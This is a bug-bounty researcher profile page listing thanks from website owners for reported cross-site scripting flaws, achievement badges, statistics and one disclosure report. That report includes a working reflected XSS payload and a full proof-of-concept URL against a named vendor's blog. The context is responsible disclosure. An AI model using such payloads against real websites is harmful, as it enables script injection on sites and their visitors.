ELProfesor Top Security Researcher of the Month | Security Researcher Profile

Researcher reputation:  2130

Real name:
Taha

About me:
Our Democracy has been Hacked ! F**K society

Contact email:
[email protected]

Alternative Contacts:
[email protected]

Experience in Application Security
over 5 years

Award / Bug Bounty I prefer:
I prefer :
- Rewards
- Benefits Gifts
- Swag
- PayPal Money


Anything that you wish to award me will motivate me to continue doing what I'm doing

Recommendations and Acknowledgements

    5 December, 2022

     seminardd Andy K. from SeminarDD:

Thank you for reporting the bug.

    28 September, 2022

     skyynet_de Ingo from skyynet:

Taha identified an XSS vulnerability on our site which could be fixed fast. Thanks for the provided information!

    31 July, 2022

     ThomasDBending Thomas Bending from Thomas Bending:

Thank you for finding an XSS vulnerability in my website.

    27 November, 2021

     chrisbeach Chris Beach from caption.me:

Thanks very much for reporting a bug in my website

    10 September, 2021

     Gordi_OldGames Gordi from Old-Games:

Thank you very much for reporting a vulnerability in our website!

    9 July, 2021

     LOVD Ivo Fokkema from LOVD:

Thanks to ELProfesor, who found and reported two XSS vulnerabilities on our website so we could fix them!

    13 June, 2021

     darione90 Dario from Società Astronomica G.V. Schiaparelli:

Many thanks for helping us fixing a XSS vulnerability on our website!

    10 June, 2021

     infoclimat Frederic A from Infoclimat:

Taha has found several XSS vulnerabilities, and kindly reported them to our team.

    27 May, 2021

     xss2021 Admin from FVB:

Taha found a XSS vulnerability on our website and acted ethically by reporting it to us, as well as providing the information we needed to reproduce the issue. Thank you for pointing this out!

    19 May, 2021

     Dave48553118 Dave from ABC:

Taha let us know about an XSS vulnerability on our site which is now fixed. Thanks

Shows the first 10 recommendations. See all.

Honor Badges

Number of Secured Websites

10+ Websites	50+ Websites	500+ Websites	WEB SECURITY VETERAN 1000+ Websites

Advanced Security Research

WAF Bypasser	CSRF Master 30+ Reports	AppSec Logic Master 30+ Reports	Fastest Fix Fix in 24 hours

Outstanding Achievements

Secured OBB	OBB Advocate	Improved OBB

Commitment to Remediate and Patch

Patch Master 55% Patched	Patch Guru 65% Patched	Patch Lord 75% Patched

Recommendations and Recognition

REPUTABLE 10+ Recommends	FAMOUS 25+ Recommends	GLOBALLY TRUSTED 50+ Recommends

Distinguished Blog Author

1 Post	3 Posts	5+ Posts

Research Statistics

Total reports:	18735
Total reports on VIP sites:	3822
Total patched vulnerabilities:	4035
Total vulnerabilities on Hold (Open Bug Bounty):	4
Recommendations received:	132
Active since:	25.05.2018
Top VIP Security Researcher Awards:	Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Month Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week Top VIP Security Researcher of the Week

Open Bug Bounty Certificate

Reported Vulnerabilities

All Submissions VIP SubmissionsFeatured Submissions

27.11.2019  Reflected xss in 360totalsecurity

i have found vulnerability in 360totalsecurity ,is Reflected XSS in https://blog.360totalsecurity.com

Steps to reproduce :

Go to https://blog.360totalsecurity.com

and To : https://blog.360totalsecurity.com/en/safe-tips-for-wannacry-ransomware-attack/?utm_campaign=WannaCry_tips&utm_content=360.NSA.defense.tool&utm_medium=text_link&utm_source=Blog

and replace utm_source value by this XSS payload : x”><svG onLoad=prompt(document.domain)>

Line: <a href=”https://blog.360totalsecurity.com/en?utm_source=x"><svG onLoad=prompt(document.domain)>

Poc:

https://blog.360totalsecurity.com/en/safe-tips-for-wannacry-ransomware-attack/?utm_campaign=WannaCry_tips&utm_content=360.NSA.defense.tool&utm_medium=text_link&utm_source=x"><svG onLoad=prompt(document.domain)>

Regards,

TAHA

21.11.2019  blind xss in apple

This is my report about blind xss in apple via user agent